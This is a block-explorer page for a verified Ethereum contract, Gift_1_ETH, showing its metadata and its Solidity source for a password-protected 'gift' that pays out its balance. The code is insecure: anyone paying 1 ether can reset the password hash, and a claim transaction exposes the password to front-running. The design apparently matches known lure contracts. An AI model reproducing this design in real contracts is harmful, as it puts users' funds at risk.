Verified contractPartial
Gift_1_ETH
Address0xd8993f49f372bb014fb088eabec95cfdc795cbf6
- Balance
0 ETH
- Transactions
7
- Compiler
solc 0.4.19-nightly.2017.10.28
- Same code
Only this contract
Details
- Compiler
- solc 0.4.19-nightly.2017.10.28+commit.f9b24009
- Language
- solidity
- Optimization
- No
- License
- Not stated
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 4,453,086
- Creation transaction
- 0xab8180c3ee…7bd738d7e3
Gift_1_ETH.sol
pragma solidity ^0.4.17;
contract Gift_1_ETH
{
bool passHasBeenSet = false;
function()payable{}
function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}
bytes32 public hashPass;
function SetPass(bytes32 hash)
payable
{
if(!passHasBeenSet&&(msg.value >= 1 ether))
{
hashPass = hash;
}
}
function GetGift(bytes pass)
{
if(hashPass == sha3(pass))
{
msg.sender.transfer(this.balance);
}
}
function PassHasBeenSet(bytes32 hash)
{
if(hash==hashPass)
{
passHasBeenSet=true;
}
}
}Compiler settingsShow
{
"optimizer": {
"runs": 0,
"enabled": false
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.